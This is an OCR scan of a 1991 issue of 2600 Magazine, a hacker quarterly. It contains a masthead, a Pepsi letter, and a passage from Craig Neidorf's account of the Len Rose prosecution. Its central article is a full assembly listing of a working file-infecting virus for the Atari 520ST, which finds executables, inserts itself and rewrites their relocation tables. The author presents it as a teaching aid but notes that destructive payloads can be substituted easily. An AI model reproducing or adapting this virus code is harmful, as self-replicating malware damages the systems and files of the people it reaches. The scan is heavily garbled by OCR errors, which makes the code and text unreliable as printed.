


Some New Zealand payphones still accept coins but the vast majority now use the 
prepaid card system. You'll notice in the bottom right a 12" high "mushroom" that 
is actually a plastic cover for the telephone cables. You rmd these everywhere in 
New Zealand and they're extremely easy to access. Thanks to IP of Australia 



26(){) (ISSN 0749-3851) is published quarterly by 2600 Enterprises Inc., 7 Strong's 
Lane, Setauket, NY 11733. Second class postage permit paid at Setauket, New York. 

POSTMASTER: Send address changes to 
2600, P.O. Box 752, Middle Island, NY 11953-0752. 

Copyright (c) 1991 2600 Enterprises, Inc. 
Yearly sUbscription: U.S. and Canada --$21 individual, $50 corporate (U.S. funds). 
Overseas -- $30 individual, $65 corporate. 
Back issues available for 1984, 1985, 1986, 1987, 1988, 1989, 1990 
at $25 per year, $30 per year overseas. 

ADDRESS ALL SUBSCRIPTION CORRESPONDENCE TO: 

2600 Subscription Dept., P.O. Box 752, Middle Island, NY 11953-0752. 
FOR LETTERS AND ARTICLE SUBMISSIONS, WRITE TO: 

2600 Editorial Dept., P.O. Box 99, Middle Island, NY 11953-0099. 
NETWORK ADDRESS: 260<@well.sf.ca.us 

26(){) Office Line: 516-751-2600,2600 FAX Line: 516-751-2608 

STAFF 

Editor-In-Chief 
Emmanuel Goldstein 

Artwork 
Holly Kaufman Spruch 

Writers: Eric Corley, John Drake, Paul E stev, Mr. French, 
The Glitch, The I nfidel, Log Lady, Kevin M itnick, Craig 
Neidort, The Plague, The Q, David Ruderman, Bernie S., 
Silent S witchman, Mr. Upsetter, Dr. Williams, and all the 
young dudes. 

Remote Observations: The Devil's Advocate, Gee. C. lilyou 

Shout Outs: Hackers With Attitudes, the GHP2 Collective, Walter R., 
our Dutch friends, Franklin, and all the true peasants. 

Spring 1991 2600 Magazine Page 3 



In Pursuit of Knowledge: 
An Atarl 520ST Virus 

by The Paranoid Panda 
The accompanying listing shows B virus program 

which runs on the Atari 520ST under its GEMDOS 
( a l so known as TOS) operating syst e m .  It w a s  
a ssembled in p rogram counte r relative m ode (very 
imJX)rtant) using the AssemPro assembler produced by 
Data Becker in Germany and sold in the U . S .  b y  
Abacus Software . F o r  m o r e  detail s a bo u t  operating 
system calls and disk file formats,  see Atari S T  
Internals (Bruckmann , et 81.), a n d  S T  Disk Drives 
Inside and Out (Braun, et a1.). Al so, try Computer 
Viruses, a HiKh-Tech Disease by Ralf Burger. These 
books, like the assembler. come from Data Becker Bnd 
are available from Abacus Software. 

Although a number of books and articles have been 
written about viruses, few if any give specific listings or 
sufficient details 8S to how to write a virus. I wrote this 
virus 8S an exercise to learn the specifics of how it is 
done. It is not a marvel of elegant assembly language 
programming, and it doesn't do anything catastrophIc. 
It does work, however, and careful study of it will give 
you all the details you need to produce your own 
working virus, or understand just how it is that viruses 
can infect your system. In its present form, it adds 859 
bytes to the executable file it infects. Its length is kept 
down by extensive use of operating system calls to do 
all the work.  It could no doubt be shorte n e d  
considerably by optimizing the code, although that 
might make it less instructive as a teaching aid. 

It is i m portant to u n d e r stand the format o f  
executable files in a given operating system in order to 
i n f e c t  the m .  In GEMDO S ,  executable file. a r e  
recognized b y  the file extensions -.TOS, -.TTP, and 
-.PRG. All have the same general format. TOS files run 
without u sing the GEMDOS desktop graphics 
environment. TTP files are like TOS files, except that 
they begin with an input window allowing you to enter 
p rogram parameters before execution begins. Most 
commercially available software for the ST is in the 
form of PRG files, which extensively use the GEMDOS 
desktop graphics environment. 

T h e s e  executable fil e s  b e gi n  with a 28 b y te 
program header, with the following format: 

60lA - Branch around the header. 
xxxxxxxx: - A long word (32 bits) which gives the 

program segment length. 
YYYYYYYY - A long word giving the data segment 

length. 
Z'CCZ'l:7:Cl - A long word giving the length of the 

Block Storage Segment (the amount of scratch memory 
to be allocated by the ope rating system when the 
program is loaded). 

AAAAAAAA - A long word giving the lengtb of the 
symbol table. 

BBBBBBBBBBBBBBBBBBBB - Ten more bytes 
reserved for the operating system. 

Following the header is the program segment. Tbe 
fi r s t  i n s t ruction occ upi e s  the word (Le. 16 b i t s )  
beginning a t  location I C  hex, or 2 8  decimal. After the 
program segment comes the data segment, if there is 
one, where the program may have working data stored. 
The symbol table,  if  the re is one , follows the data 
s e g m e n t ,  and i s  added by some compile r s  a n d  
assemblers t o  a i d  in debugging. This is  ge nerally 
missing on commercially produced software. At the end 

of the symbol table is the all important relocation table, 
which the virus must modify to make the infected 
program run. Of course, if there is no data segment or 
symbol table, the relocation table is right behind the 
program segment. 

Relocatable files can be run from any place in the 
memory. For example, if you write JMP LOCATION (a 
jump to a program location labeled LOCATION:), the 
assembler will allocate a 32 bit long word for the 
absolute address, hut will put in a number representing 
the di stance from the beginning of the pr ogram to 
LOCATION. The operating system's relocator will add 
the actual start address of the program to each of these 
relative addresses when the program is loaded. It uses 
the relocation table to find where they are. 

The relocation table begins with a 32 bit long word 
giving the distance from the beginning of the program 
to the first absolute address to be relocated. Following 
this long word in the table are one or more bytes which 
give the increment from the first a d d r e s s  to be 
relocated to the next ones. If the distance between 
addresses is greater than 254, a s e r i e s  of bytes 
containing 01 are added, one for each increment of 254 
in the distance, until the remaining distance is les8 
than 254. In other words, if the distance is exactly 264, 
there will be an FE (hex for 254) in the byte. If the 
distance is 256 (the number will always be even), there 
will be a 01 byte followed by a 02 byte. The relocation 
table is terminated by a 00 byte. 

The virus itself consists of two parts: an infection 
module and a payload module. The infection module 
searches for an uninfected file to infect and then infects 
it. The payload module doe s the "dirty work" of the 
virus. The infection module uses two operating system 
functions, SFIRST and SNEXT, to search for candidate 
files. As currently implemented, only -.TOB files are 
searched out. Changing the wildcard string at location 
10 in the listing to "·.PRG" will allow it to search out 
the comm ercially p r oduced stu ff. The search i s  
conducted only o n  the disk and directory where the 
virus resides. Addition of calls to operating system 
functions which change directories, and disks, can 
widen the search. 

As each candidate file is  found , the i n fection 
module looks for the infection marker, which i s  the two 
NOP (no operation) instructions at the beginning of the 
virus. If a file is found to be infected, or in the unlikely 
csse where some program begins wi t h  two NOP 
instructions, the candidate i s  rejected and the next 
candidate is searched out. If no files are found to infect, 
the virus goes on to do its dirty work Bnd exits. Note 
that the program shown is a launch program, and 80 
terminates when the virus is run. An infected file 
containing the virus will perform its function, whatever 
that may be, once the virus' dirty work is done by the 
payload module. 

If a candidate file is found, infection of that file 
proceeds before the payload module does its dirty work. 
In simplified form, the infection of the candidate file 
proceeds in the following steps: 

1. Open a new file to receive the infected version. 
2. Read in tbe candidate file's program header. 
3. Modify the program header by adding the virus 

length to the program segment length, then copy it to 
the beginning of the new file. 

Page 4 2600 Magazine Spring 1991 



4. The virus copies itself into the new file. 
5. The program segment, data segment (if any), 

and symbol table (if any) of the candidate file are copied 
to the new file. 

6. The long word of the candidate file's relocation 
table is read, the virus length added to it, and it i. 
copied to the new file.  It is used +0 find the first 
absolute address, to which the vir". length i. also 
added. 

7. The increment bytes following the long word of 
the relocation table of the candidate file are copied to 
the new file without modification, and are used to lind 
the remaining absolute addresses which will b e  
relocated b y  the operating system o n  loadir,g, and the 
virus length is added to them. 

8. The candidate file and the new file are closed. 
The candidate file is erased and the new file is 
renamed, giving it the name of the candidate file. 

The new file, with the now erased candidate file's 
name, is infected with the virus. It has the virus at the 
beginning, and its original code at the end of the virus. 
When run. it will run the virus. after which it will do 
what it was originally intended to do. Since the original 
code is moved down by the length of the virus, the 
program segment is increased by that amount and the 
program segment length in the header is increased 
accordingly. 

The virus is assembled in program counter (PC) 
relative mode, with all addresses relative to the current 
value of the program counter, ao it does not require 
relocating. As a result, the virua itself adds nothing to 
the relocation table of the now infected file. Since each 
of the absolute addressea referred to in the relocation 
table have been moved. down by an amount equal to the 

virus length, the location of the first one (that long 
word in the relocation table) must be increased by the 
length of the virus. Also, each absolute addreBB word 
(which, you will remember, only containa an address 
relative to the program beginning) must have the virus 
length added to it, .inee the address to which it refer. 
is now moved down by that amount. 

Note also that the virus can infect file. assembled 
in PC relative mode. Such files end without having a 
relocation table. The virua looka to see if there is a 
relocation table in the candidate file, and okips all the 
relocation table and address modifications if no table is 
found. 

After the infection process completes, the payload 
module runs. In the current implementation, the dirty 
work is relatively benign. All it does is Bend a BEL 
(control G) character to the terminal. As a result, the 
difference between an infected and uninfected file is 
that the infected file "dings" before it runs. Any sort of 
dirty work can be .ubstituted for this with eaBe. You 
could use operating system calls to make the Atari 
sound chip play the Nazi anthem, the Communist 
Internationale, or any other indteful ditty �f your 
imagination. Alternatively, you could insert som e  
interesting graphics. Pictures are nice. 

In closing, here ia the usual admonition: Don't use 
this virus to screw up the North American Air Defense 
Command (now just how many Atan 520 ST'. do you 
suppose they have anyway), or the New York school 
system (ditto). I suppo .. it would be alright to uae it on 
the Iraqi emba88Y, but I hear they closed it and went 
home. Also, don't do terrible things to Bmall animal •. 
You get the idea. 
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TEMPALENAME: 
DC.B "TEMP.TOS·,O 

OLDFILENAME: 
OS.B I5 

STARTSEARCH: 
MOVE.W IIO,·(SP) ; Attribute-O, normal read/write. 
PEA NAMESTRING ; Address of the wildcard name string. 
MOVE.W 1I$4E,'(SP) ; Function number of SFIRST. 
TRAP III ; Call GEMDOS. 
ADD.L IIB,SP ; Clean up the steck. 
TST.L DO ; Found a candidate file If 00 is zero. 
BNE FINISHED ; No candidate files exist. exit. 

CHECKINFECT: 
; First, open the file. 

MOVE.W 112,'(SP) ; Opening the file for read and write. 
MOVE.L A2,A 1 ; Base address of DTA to AI 
ADD.L 1130,Al ; Add offset of full name string in DTA 
MOVE.L Al,·(SP) ; Push the address of the name string. 
MOVE.W 1I$3D,'(SP) ; Function no. of OPEN. 
TRAP III ; Cell GEMDOS. 
ADD.L tlB,SP ; Clean up the steck. 
TST.L 00 ; OO-Fllehandle if OPEN worked, neg. otherwise. 
BMI KEEPLDOKING ; If error, look for another one. 

; Position the file pointer to the infection marker. 
MOVE.L 00,01 ; Preserve the file handle in 01 

MOVE.W IID,-(SP) ; Mode-O, stert from the file beginning. 
MOVE.W OO,-(S;» ; Push the file handle. 
MOVE.L 1I$IC,-(SP) ; Push the offset to beginning of code. 

; Look for those two NOP's 
MOVE.W 1IS42,'(SP) ; Push function no. of LSEEK. 
TRAP 111 ;CaIl GEMDOS. 
ADD.L IIl0,SP ; Clean up the steck. 

; Read the appropriate bytes. looking for those two NOP's 
PEA READBUFFER ; Push address of one byte buffer. 
MOVE.L 114,-(SP) ; No. of bytes to read - 4. 
MOVE.W Dl,-(SP) ; Push file handle. 
MOVE.W II$3F,-(SP) ; Function no. of READ. 
TRAP 111 ; Call GEMDOS. 
ADD.L 1112,SP ; Clean up the steck. 
MOVE.L READBUFFER,OO ; Put the infection marker site in 00. 
CMPI.L 1I$4E714E11,OO ; Infection marker Is two NOP's (4E71) 
BNE STARTINFECT ; Infection marker not found. infect It. 

KEEPLDOKING: 
MOVE.W 1I$4F,-(SP) ; Function no. of SNEXT. 
TRAP 111 ; Call GEM DOS. 
ADDQ.L 112,SP ; Clean up steck. 
TST.L 00 ; 00-0 if one is found, nonzero If no more. 
BEQ CHECKINFECT ; Test to see If It Is infected. 
BRA PAYlOAD ; No candidate files. Exit. 

; 1.2 Infect the target file if there Is one. 
STARTINFECT; 
; Save the name of the original file in OLDFILENAME. The 
; address of the name string in the DT A Is stili In AI. 

MOVE.L '13,00 ; Index counter 
LEA OLDRLENAME.A3 ; Start address of file name save buffer. 

SAVELDOP: 
MOVE.B (A I,OO),IA3,OO) ; Move a character 1rom the DTA to buffer. 
DBRA DO,SAVELDOP ; Loop until done. 

; Create. new file named TEMP (stored In TEMPFILENAME) 
MOVE.W IID,-(Sp) ; Create with Read/wrlte attribute 
PEA TEMPFILENAME ; Addreea where the name "TEMP.TOS" stored 
MOVE.W /I$3C,-(SP) ; Function no. of CREATE 
TRAP'1 ; Cen GEMDOS 
ADD.L I8.sP ; Clean up stack 
MOVE.W DO,D2 ; Save TEMP.TOS's file handle in 02 

; Move the old file's pointer back to the beginning of the file 
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MOVE.W #O.-(SP) ; Mode_O, start from the file beginning. 
MOVE.W D1,-(SP) ; Push the file handle. 
MOVE.L #O,-(SP) ; Offset-O. Start from the beginning 

; of the program header. 
MOVE.W #S42,-(SP) ; Push fundlon no. of LSEEK. 
TRAP #1 ; Call GEMDOS. 
ADO.L#10,SP ; Clean up the stack. 

; Read the program header of the file to be Infeded into buffer 
PEA REAoBUFFER ; Push the start address of the buffer 
MOVE.L #SIC,-ISP) ; No. 0/ byte. to be read 
MOVE.w DI,-ISP) ; File handle of the old file 
MOVE.W #S3F,-(SP') ; Function no. of READ 
TRAP #1 ; Call GEMDOS 
AoO.L #12.SP ; Clean up stack 

; Modify the appropriate headerentries. 
LEA READBU FFER,A2 ; Base address of read buffer 
MOVE.L 2(A2),D7 ; Get old program length 
MOVE.L o7,De ; Move to 06 for new length computation 
ADD.L #(FINISHED-START),D6; COmpute new program length 
MOVE.L D6,21A2) ; Load new program length 
ADD.L 6(A2),D7 ; Add in length 0/ data segment 
ADD.L SOEIA2),D7 ; Add In length of symbol table 
SUBO.L #1,07 ; Subtract one to get count 

; Write the new header 
PEA READBUFFER ; Push the address fA the buffer 
MOVE.L #SIC,-ISP) ; Write 28 byte. 
MOVE.W 02,-(SP) ; File handle for new file 
MOVE. W #S40,-(SP) ; Fundion no. for WRITE 
TRAP " ; Call GEMDOS 
ADD.L"2,SP ; Clean up the stack 

; NOTE: At this point, the file pointers for both flies should be 
pointing to the beginning of the program segment. 

; Now, write the virus into the new file 
PEA START ; Buner is nOW'the beginning of the virus 
MOVE_L #(FINISHED-START),-ISP) ; Wrtte no. 0/ bytes In the virus 
PN:JVE.W 02,-(SP) ; File handle of the new file 
MOVE.W #S40.-(SP) ; Fundlon no. for WRITE 
TRAP " ; Call GEMDOS 
AoD.L #12,SP ; Clean up the stack 

; Now, write the program segment, data segment, and symbol tallte 
; from the old file to the new file. 

TRANSFERLOOP: 
; Read a byte from the old file 

PEA READBUFFER ; Buffer start 
MOVE.L",-ISP) ; Read one byte 
MOVE.W DI,-ISP) ; File handle of the old file 
I\,1QVE.W #$3F,-(SP) ; Function no. of READ 
TRAP II ; Call GEMDOS 
ADD.l #12,SP ; Clean up the stack 

; Write the byte into the new file 
PEA READBUFFER ; Buffer start 
MOVE.L",-ISP) ; Write one byte 
MOVE.W D2,-ISP) ; File handle of the new file 
MOVE.w #S40,-ISP) ; Function no. 0/ WRrrE 
TRAP" ; Call GEMDOS 
AoD.L'12,SP ; Clean up the stack 
DBRA D7,TRANSFERLOOP ; Loop until done 

; At this point, the file pointer of the old file Is pointing to the 
; long word which begins the relocation table. 

LEA READBUFFER,A2 ; Zero out one word of 
MOVE.L 'O,IA2) ; Read buffer before looking for long word 
PEA READBUFFER ; Buffer start 
MOVE.L U,-ISP) ; Read one long word 
MOVE.W DI,-ISP) ; File handle of the old file 
MOVE.w #S3F,-ISP) ; Function no. 0/ READ 
TRAP II ; Call GEMDOS 
ADD.L#I2,SP ; Clean up the stack 
LEA READBUFFER.A1 ; Base addre .. of buffer 
TST.L (An ; If long word ts zero, no relocaUon table 
BEQ NOTABlE ; so jump around adjustment 
ADD.L IIANISHED-START),IA 1) ; Adjust the long word by the new 

; program length 
BSR E NTRY1 

NOTABLE: 
PEA READBUFFER 
MOVE.L ",-ISP) 
MOVE.W D2,-ISP) 

; POINT A. 

; Buffer start 
; Write one long word 

; FNe handle of the new file 
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MOVE.W 1$40.-(SP) ; Function no. c:AWRrrE 
TRAP , I ; Call GEMOOS 
ADD.L"2.SP ; Clean up the stack 

; First long word in the relocation tab� has been adjusted. Write 
; the rest of the relocation table. 
FINAllOOP: 

PEA READBUFFER ; Buffer Slart 
MOVE.l'I,-(SPI ; Read one l>V1e 
MOVE.w D1,-(SPI ; File handle of the old file 
MOVE.w 1$3F,-(SPI ; Function no. dREAD 
TRAP 'I ; Call GEMOOS 
AOD.L #12,SP ; Clean up the stack 
PEA READBUFFER ; Buffer Slart 
MOVE.l'I,-(SPI ; Write one l>V1e 
Pv1OVE.W 02.-(SP) ; File handle of the new file 
MOVE.w 1$40,-(SPI ; Function no. d WRITE 
TRAP , t ; Call GEMOOS 
ADD.l'I2,SP ; Clean up the staelt 
lEA READBUFFER,AI ; Adr. of I>V1e juSl read 
MOVE.B (AtI,D4 ; POINrT B 
BSR ENrTRY2 
TST.B (A II ; Finished W this l>V1e zero 
BNE FINALLOOP ; Stop transferrtng If zero. �herwll8 

; keep writing the relocation table 
BRA ENDLOOP ; Done. Branch around the following sub-

; routine. 
; This subroutine aoces.ses the longwords of the Infeded program In 
; their new locations as they have been mOled down by the virus length 
; and adds the virus length to them. 

ENTRY1: ; Enter here when first longword r:I relocation table 
; Is read and modified. 

MOVE.l (AII,D& ; AI points to READBUFFER, which has 
; the offset from S1C to the first long 
; word. 

ADD.L #S1C,06 ; 05 now has the correct file pointer value 
MOVE.L#$FF,Dol ;This marks entry from entry point 1. 

ENTRY2: ; Enter here when onset bytes follONing the first long 
; word In the relocation table are being copied. 

TST.L Dol ; If Dol contains zero, there is nothing 
;to do. 

BNE NOlZERO ; Continue if not zero. 
; Otherwise. return. RTS 

NOlZERO: 
CMPI.L #1,Dol ; tf Dol contains 1, need to add an 

; Increment o12Ut to OS and extt. 
BNE NOTONE ; Branch around If not 1. 
ADO.L #SFE,D6 ; Add an increment of 250( to running fUe 

RTS 
NOTONE: 

; pointer in 06. then return. 

CMPI.l'SFF,Dol ; 11 entry-came in entry point 1. Dol will 
; contain SFF. 

BEO FlRSTTIME ; W contents equal SFF, don'I add contents 

;of D4 to D&. 
ADD.l D4,D6 ; Otherwise, add the Increme""I>V1e. 

FIRSTTIME: 

; Preserve the curren! value of the me pointer In De. 
MOVE.W #1,-CSP) ; MODE.', measure from current position. 
MOVE.W D2.-\SP; ,Fite hand� of the neo./lffile. 
MQVE.L '0.-(5P) ; No movement of file pointer, just 

; get its current value 
MOVE.W 1$42,-(SI') ; Function number of lSEEK. 
TRAP '1 ; Call OEMOOS 
ADO.L #10,SP ; Clean up stack. 
MOVE.loo,06 ; Return value in 00 Is current position c:I 

; file pointer of new file. Save In D6. 

; Set up the new file filepointer with the value In 06. 
MOVE.w 1IO,-(5PI ; MODE-o, offset from llie beginning. 
MOVE.W 02,-(5P) ; File handle of the new file. 
MOVE.l D&,-(SPI ; New file pointer paottlon. 
Pv1OVE.W 1$42,-(51') ; Fundion no. of LSEEK. 
TRAP , I ; Call GEMOOS 
ADD.l'IO,SP ; Clean up Slaelt 

; Get the long word pointed to by the new file pointer. 
PEA READBUFFER+ol ; Push address to store this tongword. 
MOVE.l '4,-(SPI ; Read 4 bytes. 
MOVE.W D2,-(SPI ; File handle of the new file. 
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MOVE.w I$3F ,-(SI') ; Function no. cJI READ 
TRAP " ; Call GEMDOS 
ADD.L I'2,SP ; Clean up,he stack 

; Add the length of the virus to the Iongword In REAOBUFFER+4. 
LEA READBUFFEII+4,A2 
ADD.L I(ANISHED-ST ART),(A2) 

; Move the new file's 'lie pointer back" bytes to write the new 
; value of the long word. 

MOVE.W "ASP) ; MODE-1, otTset relative to current po&. 
MOVE.w D2,-(SP) ; File handle cJI the new file. 
MOVE.L #-4,-(SP) ; Move pointer 4 bvtes back. 
MOVE.w #$42,-(SI') ; Function no. cJI LSEEK. 
TRAP " ; Call GEMDOS 
ADD.LI'O,SP ; Clean up the stack. 

; Write the modified tongwon! In READBUFFER+4 to the fll •. 

PEA READBUFFER+4 ; Start of the Iongword. 
MOVE.L 14,-(SP) ; Writ. 4 bvt ••. 
MOVE.W 02,·(5P) ; File handle r:Athe new file. 
MOVE.W #$4O,-(SI') ; Function no. cJI WRITE. 
TRAP " ; Call GEMDOS 
ADD.L "2,SP ; Clean up the stack. 

; Restore the original value of the file pointer, saved In 08. 

MOVE.W #O,-(SP) ; MODE-O, eIIset from fII. beginning 
MOVE.W D2,-(SP) ; File handle cJI the new file. 
MOVE.L D6,'(SP) ; Preserved value of the file pointer. 
MOVE.W #$42,-(SI') ; Function no. cJI LSEEK 
TRAP" ; Call GEMDOS 
ADD.Lll0,SP ; Clean up the Slack. 
RTS ; Finished, return. 

ENDLOOP: 
; All transfers finished. Close and delete the old file. Oose 
; and rename the new file. 

MOVE.W Dl,-(SP) ; File handle for old file 

MOVE.W'$lE.-(SP) ; function number for CLOSE 
TRAP " ; Call GEMDOS 
AOOQ.L '4,SP ; Clean up stack 

PEA OLDFILENAME ; Push string giving name of unlnfected 
; version of the file. 

MOVE.W #$4',-(SI') ; Function no. cJI UNLINK 
TRAP ,1 ; Call GEMDOS to erase old file 
ADD.L I6,SP ; CI.an up the "ack. 

MOVE.W D2,-(SP) ; FII. handl. for new fll. 
MOVE.W 1S3E,-(SP) ; Function number for CLOSE 
TRAP " ; Call GEMDOS 
ADDO.L I4,SP ; Clean up .\lIck 

PEA OLDFILENAME ; New name for infected rue, I.e. 
; original name of target file. 

PEA TEMPALENAME ; Push string containing "'-EMP.TOS· 
MOVE.W IO,-(SP) ; Dummy parameter 
MOVE.W 1S56,-(SP) ; Function no. r:A RENAME 
TRAP " ; Call GEMDOS to ",name Infected III. 

; to name of original target. 
ADD.L "2,SP ; Clean up the stacl<. 

; II. The Pavload Module 
; This payload send a BEL (control G) to the console output. Its 
; only purpose is to indicate whether a prooram is infected. 
PAYLOAD: 

MOVE.W #7,-(SP) 
MOVE.W'2,-(SP) 
MOVE.W'3,-(SP) 
TRAP ,'3 
ADOO.L#6,SP 

; III. Termination 

; Character is BEL (control G) 
; Device Is console 
; Function no. for BCONOUT 

; Call BIOS 
; Clean up stack 

; The following GEMDOS call terminates the program and 
; returns to the operating system. 
FINISHED: 

CLR.w-(SP) 
TRAP" 

END 
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The Horrors of War 

PEPSI-COLA COMPANY � [$] SOMERS NEW YORK 10589 

Page 10 

March 6. 1991 

Dear 

As you know. world events have put a serious and unexpected burden on our nation's 
telephone lines which required everyone to take a closer look at non·essential telephone 
usage. like national contests. After close consultation with the Federal Communications 
Commission (see attached). Pepsi-Cola Company volunteered to withdraw our plans for 
the world's largest interactive 1-800 call-in game. 

Our concern was that no contest of ours should have even the slightest chance of 
disrupting our nation's ability to communicate. As responsible corporate citizens we 
considered that our obligation. and consequently withdrew our promotion. 

We sincerely hope that you understand and concur in the choice we've made. However, 
we promise to continue our tradition of pioneering new and exciting events for our 
consumers to enjoy. 

Once again. many thanks for contacting us at Pepsi-Cola. Please accept the enclosed as a 
token of our appreciation for your interest, and we look forward to your continued 
friendsh ip for many years to come. 

Enclosure 

Attachment 
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Sincerely, 

� �  
Manager (J 
Consumer Affairs 



The Terminus of 
Len Rose 

by Craig Neidorf 
As many of you probably know, I 

used to be the editor and publisher of 
Phrack, a magazine similar to 2600, 
but not available in a hardcopy 
format. During that time I was 
known as Knight Lightning. In my 
capacity as editor and publisher I 
would often receive text files and 
other articles for submission to be 
published. In point of fact this is how 
the majority of the material found in 
Phrack was acquired. Outside of 
articles written by co
editor/publisher Taran King or 
myself, there was no staff, merely a 
loose, unorganized group of free
lancers who sent us material from 
time to time. 

One such free-lance writer was 
Len Rose, known to some as 
Terminus. To the best of my 

Prior to the end of 1988, I had 
very little contact with Terminus 
and we were reintroduced when he 
contacted me through the Internet. 
He was very excited that Phrack still 
existed over the course of the years 
and he wanted to send us an article. 
However, Rose was a professional 
Unix consultant, holding contracts 
with major corporations and 
organizations across the country and 
quite reasonably (given the corporate 
mentality) he assumed that these 
companies would not understand his 
involvement with Phrack. 
Nevertheless, he did send Phrack an 
article back in 1988. It was a 
computer program actually that was 
called "Yet Another File on Hacking 
Unix" and the name on the file was 
>Unknown User<, adopted from the 
anonymous posting feature of the 

Rose's legal arguments were strong in many respects and 
it is widely believed that if he had fought the charges that 
he may very well have been able to prove his innocenqe. 

(jnfortunately, the pileup of multiple indictments, in a legal 

system that defines justice in terms of how much money 

you can afford to spend defending yourself, took its toll. 

knowledge, he was a Unix consultant 
who ran his own system on UUCP 
called Netsys. Netsys was a major 
electronic mail station for messages 
passing through UUCP. Terminus 
was no stranger to Phrack. Taran 
King had interviewed him for 
Phrack Pro-Phile 10, found in 
Phrack''1 fourteenth issue. I would go 
into more detail about that article, 
except that because of last year's 
events I do not have it in my 
possession. 

once famous Metal Shop Private 
bulletin board. 

The fi le itself was a password 
cracking program. Such programs 
were then and are still today 
publicly available intentionally so 
that system managers can run them 
against their own password files in 
order to discover weak passwords. 

"An example is the password 
cracker in COPS, a package that 
checks a Unix system for different 
types of vulnerabilities. The 
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complete package can be obtained by 
anonymous FTP from ftp.uu.net. 
Like the password cracker published 
in Phrack, the COPS cracker checks 
whether any of the words in an on
line dictionary correspond to a 
password in the password file." 
(Dorothy Denning, Communications 
of the ACM, March 1991, p. 28) 
Perhaps if more people used them, 
we would not have incidents like the 
Robert Morris worm, Clifford Stoll's 
KGB agents, or the current crisis of 
the system intruders from the 
Netherlands. 

Time passed and eventually we 
came to January 1990. At some point 
during the first week or two of the 
new year, I briefly logged onto my 
account on the VM mainframe on the 
University of Missouri at Columbia 
and saw that I had received 
eledtronic mail from Len Rose. There 
was a brief letter followed by some 
sort of program. From the text I saw 
that the program was Unix-based, 
an operating system I was virtually 
unfamiliar with at the time. I did not 
understand the significance of the 
file or why he had sent it to me. 
However, since I was logged in 
remotely I decided to let it sit until I 
arrived back at school a few days 
later. In the meantime I had noticed 
some copyright markings on the file 
and sent a letter to a friend at 
Bellcore Security asking about the 
legalities in having or publishing 
such material. As it turns out, this 
file was never published in Phrack. 

Although Taran King and I had 
already decided not to publish this 
file, other events soon made our 
decision irrel�vant. On January 12, 
1990, we discovered that all access to 
our accounts on the mainframe of 
the University of Missouri had been 

revoked without explanation. On' 
'January 18, 1990 I was visited by 
the U.S. Secret Service for reasons 
unrelated to the Unix program Len 
Rose had sent. That same day under 
obligation from a subpoena issued by 
a Federal District Court judge, the 
University turned over all files from 
my mainframe account to the U.S. 
Secret Service including the Unix 
file. Included below is the text 
portion of that file: 

"Here is a specialized login for 
System V 3.2 sites. I presume that 
any competent pe rson can get it 
working on other levels of System V. 
It took me about 10 minutes to make 
the changes and longer to write the 
README file and this bit of mail. 

"It comes from original AT&T 
SVR3.2 sources, so it's definitely not 
something you wish to get caught 
with. As people will probably tell you, 
it was originally part of the port to 
an AT&T 3B2 system. Just so that I 
can head off any complaints, tell 
them I also compiled it with a 
minimal change on a 386 running 
AT&T Unix System V 3.2 (they'll 
have to fiddle with some defines, 
quite simple to do). Any changes I 
made are bracketed with comments, 
so if they run into something terrible 
tell them to blame AT&T and not me. 

"I will get my hands on some 
Berkeley 4.3 code and do the same 
thing if you like (it's easy of course). " 

In the text of the program it also 
reads: "WARNING: This is AT&T 
proprietary source code. Do NOT get 
caught with it." and "Copyright (c) 
1984 AT&T All Rights Reserved * 
THIS IS UNPUBLISHED 
PROPRIETARY SOURCE CODE 
OF AT&T * The copyright notice 
above does not evidence any actual or 
intended publication of such source 
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code." 
As it turned out the program that 

Rose had sent was modified to be a 
Trojan horse program that could 
capture accounts and passwords, 
saving them into a file that could 
later be retrieved. However, knowing 
how to write a Trojan horse login 
program is no secret. For example, 
"such programs have been published 
in The Cuckoo's Egg by Clifford Stoll 
and an article by Grampp and 
Morris. Also in his ACM touring 
lecture, Ken Thompson, one of the 
Bell Labs co- authors of Unix, 
explained how to create a powerful 
Trojan horse that would allow its 
author to log onto any account with 
either the password assigned to the 
account or a password chosen by the 
author." (Dorothy Denning, 
Communications of the ACM, March 
1991, p. 29-30) 

Between the Unix 3.2 source code, 
the Unix password cracking file, and 
the added fact that Terminus was a 
subscriber to Phrack, the authorities 
turned their attention to Len Rose. 
Rose was raided by the United 
States Secret Service (including 
Agent Tim Foley, who was the case 
agent in U.S. v. NeidorO at his 
Middletown, Maryland horne on 
February 1, 1990. The actual search 
on his horne was another atrocity in 
and of itself. 

"For five hours, the agents -
along with two Bellcore employees -
confined Leonard Rose to his 
bedroom for questioning and the 
computer consultant's wife, Sun, in 
another room while they searched 
the house. The agents seized enough 
computers, documents, and personal 
effects - including Army medals, 
Sun Rose's personal phone book, and 
sets of keys to their house - to fill a 

14-page list in a pending court case." 
("No Kid Gloves For The Accused", 
Unix Today!, June 11, 1990, page 1) 

The agents also did serious 
damage to the house itself. Rose was 
left without the computers that 
belonged to him and which he 
desperately needed to support 
himself and his family. Essentially, 
Rose went into bankruptcy and was 
blacklisted by AT&T. This 
culminated in a May 15, 1990 
indictment. There were five counts 
charging him with violations of the 
1986 Computer Fraud and Abuse 
Act and Wire Fraud. The total 
maximum penalty he faced was 32 
years in prison and fines of 
$950,000. Furthermore, the U.S. 
Attorney's office in Baltimore 
insisted that Rose was a member of 
the Legion of Doorn, a claim that he 
and known LOD members have 
consistently denied. 

This was just the beginning of 
another long saga of bad luck for Len 
Rose. He had no real lawyer, he had 
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no money, and he had no job. In 
addition, he suffered a broken leg 
rescuing his son during a camping 
trip. 

Eventually Rose found work with 
a company in Naperville, Illinois 
(DuPage County in the suburbs of 
Chicago): a Unix consulting firm 
called InterActive. He had a new 
lawyer named J ane Macht. The 
future began to look a little brighter 
temporarily. But within a week 
InterActive was making claims that 
Rose had copied Unix source code 
from them. Illinois State Police and 
SSA Tim Foley (what is he doing 
here!?) came to Rose's new home and 
took him away. In addition to the 
five count indictment in Baltimore, 
he was now facing criminal charges 
from the State of Illinois. It was at 
this point that attorney Sheldon T. 
Zenner (who had successfully 
defended me) took on the 
responsibility of defending Rose 
against the state charges. 

Rose's spin of bad luck was not 
over yet. Assistant U.S. Attorney 
William Cook in Chicago wanted a 
piece of the action, in part perhaps to 
redeem himself from his miserable 
defeat in U.S. v. Neidorf. A third 
possible indictment for Rose seemed 
inevitable .. In fact, there were 
threats made that I personally may 
have been subpoenaed to testify 
before the grand jury about Rose, 
but this never took place. 

As time passed and court dates 
k ept being delayed, Rose was 
running out of money and barely 
surviving. His wife wanted to leave 
him and take away his children, he 
